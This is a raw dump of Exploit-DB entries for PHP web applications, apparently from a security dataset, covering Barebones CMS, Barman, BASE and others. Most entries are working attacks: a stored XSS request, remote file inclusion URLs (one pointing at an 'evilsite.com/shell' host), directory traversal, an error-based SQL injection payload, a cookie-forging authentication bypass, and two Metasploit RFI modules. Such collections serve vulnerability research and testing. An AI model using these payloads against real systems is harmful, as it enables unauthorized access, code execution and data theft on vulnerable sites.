deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51502
Description: Barebones CMS v2.0.2 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2023-06-04
Author: tmrswrr

Exploit:
# Exploit Title: Barebones CMS v2.0.2 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2023-06-03
# Exploit Author: tmrswrr
# Vendor Homepage: https://barebonescms.com/
# Software Link: https://github.com/cubiclesoft/barebones-cms/archive/master.zip
# Version: v2.0.2
# Tested : https://demo.barebonescms.com/


--- Description ---

1) Login admin panel and go to new story : 
https://demo.barebonescms.com/sessions/127.0.0.1/moors-sluses/admin/?action=addeditasset&type=story&sec_t=241bac393bb576b2538613a18de8c[PII_REDACTED]0
2) Click edit button and  write your payload in the title field:
Payload: "><script>alert(1)</script>
3) After save change and will you see alert button


POST /sessions/127.0.0.1/moors-sluses/admin/ HTTP/1.1
Host: demo.barebonescms.com
Cookie: PHPSESSID=81ecf7072ed639fa2fda[PII_REDACTED]a4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 237
Origin: https://demo.barebonescms.com
Dnt: 1
Referer: https://demo.barebonescms.com/sessions/78.163.184.240/moors-sluses/admin/?action=addeditasset&id=1&type=story&lang=en-us&sec_t=241bac393bb576b2538613a18de8c[PII_REDACTED]0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

action=saveasset&id=1&revision=0&type=story&sec_t=a6adec1ffa60ca5adf4377df100719b952d3f596&lang=en-us&title=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&newtag=&publish_date=2023-06-03&publish_time=12%3A07+am&unpublish_date=&unpublish_time=
Exploit-DB #2920
Description: Barman 0.0.1r3 - 'Interface.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-11
Author: DeltahackingTEAM

Exploit:
**********************************************************************************************************
                                              DeltasecurityTEAM
                                              WwW.Deltasecurity.iR
**********************************************************************************************************

* Portal Name = Barman 0.0.1r3

* Class = Remote File Inclusion

* Risk = High (Remote File Execution)

* Download = http://downloads.sourceforge.net/barman/Barman-0.0.1r3.tgz

* Discoverd By = DeltahackingTEAM

* User In Delta Team = Davood_Cracker

* Conatact = Davood_cracker@yahoo.com

* 128 Bit Security Server= www.takserver.ir

* Just Delta Hacking Security TEAM *
--------------------------------------------------------------------------------------------

- Exploit:


http://localhost/[PATH]/interface.php?basepath=http://evilsite.com/shell?


--------------------------------------------------------------------------------------------

Gr33tz : Dr.Trojan , Hiv++ , D_7j , Vpc

SP TNX : Dr.Pantagon

**********************************************************************************************************

# milw0rm.com [2006-12-11]
Exploit-DB #38594
Description: Barnraiser Prairie - 'get_file.php' Directory Traversal
Type: webapps
Platform: php
Date: 2013-06-25
Author: prairie

Exploit:
source: https://www.securityfocus.com/bid/60782/info

Barnraiser Prairie is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to access arbitrary images in the context of the application. This may aid in further attacks. 

http://www.example.com/get_file.php?avatar=..&width=../../../../../../../../usr/share/apache2/icons/apache_pb.png
Exploit-DB #5202
Description: Barryvan Compo Manager 0.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-28
Author: MhZ91

Exploit:
--==+================================================================================+==--
--==+		barryvancompo-0.3 Remote File Inclusion                              +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: barryvancompo-0.3 Remote File Inclusion 
 Download: http://sourceforge.net/projects/barryvancompo/
 Bug: Remote File Inclusion
 Info: The barryvan compo manager is a PHP, Smarty and MySQL-based system for running, organising, and maintaining competitions. It is particularly designed for use within the computer music "scene".
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

barryvancompo-0.3 present a variable "pageURL" not definited in this file 

main.php
(and all files require it)

we can exploit it by the variable "pageURL", for example

http://www.example.com/main.php?pageURL=[Evil_Code]


[*]----------------------------------------------------------

# milw0rm.com [2008-02-28]
Exploit-DB #16897
Description: BASE - 'base_qry_common' Remote File Inclusion (Metasploit)
Type: webapps
Platform: php
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: base_qry_common.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BASE base_qry_common Remote File Include',
			'Description'    => %q{
					This module exploits a remote file inclusion vulnerability in
				the base_qry_common.php file in BASE 1.2.4 and earlier.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'CVE', '2006-2685' ],
					[ 'OSVDB', '49366'],
					[ 'BID', '18298' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 32768,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jun 14 2008',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]),
			], self.class)
	end

	def php_exploit

		timeout = 0.01
		uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
		print_status("Trying uri #{uri}")

		response = send_request_raw( {
				'global' => true,
				'uri' => uri,
			},timeout)

		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
		end

		handler
	end

end
Exploit-DB #9908
Description: BASE 1.2.4 - 'base_qry_common.php' Remote File Inclusion (Metasploit)
Type: webapps
Platform: php
Date: 2008-06-14
Author: MC

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'BASE base_qry_common Remote File Include.',
			'Description'    => %q{
					This module exploits a remote file inclusion vulnerability in
					the base_qry_common.php file in BASE 1.2.4 and earlier.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision:$',
			'References'     =>
				[
					[ 'CVE', '2006-2685' ],
					[ 'BID', '18298' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      => 
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 32768,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jun 14 2008',
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]),
				], self.class)
	end

	def php_exploit

		timeout = 0.01
		uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
		print_status("Trying uri #{uri}")

		response = send_request_raw( {
				'global' => true,
				'uri' => uri,
			},timeout)

		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
		end
		
		handler
	end

end
Exploit-DB #9009
Description: BASE 1.2.4 - (Authentication Bypass) Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-06-24
Author: Tim Medin

Exploit:
Authentication Bypass in BASE version 1.2.4 and prior - Insecure
Cookie Handling Vulnerability

--------------------------------------------

Author.: Tim Medin

Contact: nidem.nidem [at] gmail [d0t] com

-------------------------------------------------------------------------------------------------

Exploit: javascript:document.cookie="BASERole=10000|nidem|794b69ad33015df95578d5f4a19d390e;
path=/";

Note: After creating cookie go to http://[website]/base_main.php

# milw0rm.com [2009-06-24]
Exploit-DB #1823
Description: BASE 1.2.4 - melissa Snort Frontend Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-25
Author: str0ke

Exploit:
# Basic Analysis and Security Engine (BASE) <= 1.2.4 (melissa) Inclusion Vulnerabilities
#   Just glanced over BASE for a pentesting job. /str0ke ! milw0rm.com
##################################

[code (base_qry_common.php)]
   include_once("$BASE_path/includes/base_signature.inc.php");
[/code]

http://[site]/snort/base_qry_common.php?BASE_path=http://www.milw0rm.com/index.php?&

########################################

[code (base_stat_common.php)]
   include_once("$BASE_path/includes/base_constants.inc.php");
[/code]

http://[site]/snort/base_stat_common.php?BASE_path=http://www.milw0rm.com/index.php?&

###############################################

[code (includes/base_include.inc.php)]
   include_once("$BASE_path/includes/base_db.inc.php");
   include_once("$BASE_path/includes/base_output_html.inc.php");
   include_once("$BASE_path/includes/base_state_common.inc.php");
   ...
[/code]

http://[site]/snort/includes/base_include.inc.php?BASE_path=http://www.milw0rm.com/index.php?&

#######################################################

# milw0rm.com [2006-05-25]
Exploit-DB #18465
Description: BASE 1.4.5 - 'base_qry_main.php?t_view' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-06
Author: a.kadir altan

Exploit:
# Exploit Title: BASE 1.4.5 SQL Injection Vulnerability
# Date: 30/01/2012
# Author: a.kadir altan (testpenter_AT_gmail.com)
# Software Link: http://base.secureideas.net
# Version: 1.4.5
# Platform: PHP
##########################
BASE Snort Analysis Front-end SQLi Vulnerability

Vulnerable parameters: 
ip_addr[0][1]
ip_addr[0][2]
ip_addr[0][9]

Vulnerable URL: 
http://server/base_qry_main.php?new=2&num_result_rows=-1&submit=Query%20DB¤t_view=-1&ip_addr_cnt=1&ip_addr[0][0]=%20&ip_addr[0][1]=ip_dst&ip_addr[0][2]==&ip_addr[0][3]=11.11.11.11&ip_addr[0][8]=%20&ip_addr[0][9]=%20<SQLi HERE>

PoC:
http://server/base_qry_main.php?new=2&num_result_rows=-1&submit=Query%20DB¤t_view=-1&ip_addr_cnt=1&ip_addr[0][0]=%20&ip_addr[0][1]=ip_dst&ip_addr[0][2]==&ip_addr[0][3]=11.11.11.11&ip_addr[0][8]=%20&ip_addr[0][9]=%20)%20AND%20(SELECT%208543%20FROM(SELECT%20COUNT(*),CONCAT(0x3a796d723a,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,50)),0x3a6479783a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20(5635=5635

Play with ip_addr[x][y], including removal.
##########################
Exploit-DB #6533
Description: basebuilder 2.0.1 - 'main.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-22
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #####################################################################
 #  [ basebuilder <= 2.0.1 ]   Remote File Inclusion Vulnerability   #
 #####################################################################
 #
 # Script site: http://basebuilder.sourceforge.net/
 # Download: http://sourceforge.net/project/showfiles.php?group_id=110199
 #
 # Vuln: http://site.com/basebuilder/src/main.inc.php?mj_config[src_path]=[spread???]
 #      
 #
 # Bug: ./basebuilder-2.0.1/src/main.inc.php (line: 56)
 #
 # ...
 #	include($mj_config['src_path'] . '/classes/class.mj.basebuilder.inc.php');
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-22]
Exploit-DB #26395
Description: Basic Analysis and Security Engine (BASE) 1.2 - 'Base_qry_main.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-25
Author: Remco Verhoef

Exploit:
source: https://www.securityfocus.com/bid/15199/info

Basic Analysis And Security Engine is prone to an SQL injection vulnerability.
This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/base/base_qry_main.php?new=1&sig[0]=%3D&sig[1]=[SQL]&submit=Query+DB
Exploit-DB #33052
Description: Basic Analysis and Security Engine (BASE) 1.2.4 - 'readRoleCookie()' Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-23
Author: Tim Medin

Exploit:
source: https://www.securityfocus.com/bid/35470/info

Basic Analysis And Security Engine (BASE) is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to gain unauthorized access to the affected application. Successfully exploiting this issue will lead to other attacks.

BASE 1.2.4 is vulnerable; prior versions are also affected.

The following examples are available:

echo -n 10000nidemBASEUserRole | md5sum

javascript:document.cookie="BASERole=10000|nidem|794b69ad33015df95578d5f4a19d390e; path=/"
Exploit-DB #27574
Description: Basic Analysis and Security Engine (BASE) 1.2.4 - PrintFreshPage Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-04-06
Author: Adam Ely

Exploit:
source: https://www.securityfocus.com/bid/17391/info

BASE is prone to a cross-site scripting vulnerability. The application fails to properly sanitize user-supplied input in the 'PrintFreshPage' function.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.2.4; other versions may also be vulnerable.

http://www.example.com/base/base_graph_main.php?back="><script>alert("780")</script><"

http://www.example.com/base/base_stat_ipaddr.php?ip=1.1.1.1&netmask="><script>alert("780")</script><"

http://www.example.com/base-snort/base_qry_alert.php?submit=<script>780</script>&sort_order=
Exploit-DB #36758
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - '/admin/base_useradmin.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
                                    
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                    
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                    
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/admin/base_useradmin.php?BASE_path=[EV!L]
Exploit-DB #36759
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - '/admin/index.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
                                     
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                     
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                     
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/admin/index.php?BASE_path=[EV!L]
Exploit-DB #36712
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - '/help/base_setup_help.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
          
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
          
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
          
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/help/base_setup_help.php?BASE_path=[EV!L]
Exploit-DB #36713
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_action.inc.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
           
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
           
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
           
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_action.inc.php?BASE_path=[EV!L]
Exploit-DB #36714
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_cache.inc.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
            
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
            
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
            
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_cache.inc.php?BASE_path=[EV!L]
Exploit-DB #36715
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_db.inc.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
             
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
             
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
             
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_db.inc.php?path=[EV!L]
Exploit-DB #36716
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_include.inc.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
              
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
              
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
              
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_include.inc.php?BASE_path=[EV!L]
Exploit-DB #36717
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_output_html.inc.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
               
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
               
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
               
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_output_html.inc.php?BASE_path=[EV!L]
Exploit-DB #36718
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_output_query.inc.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
                
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_output_query.inc.php?BASE_path=[EV!L]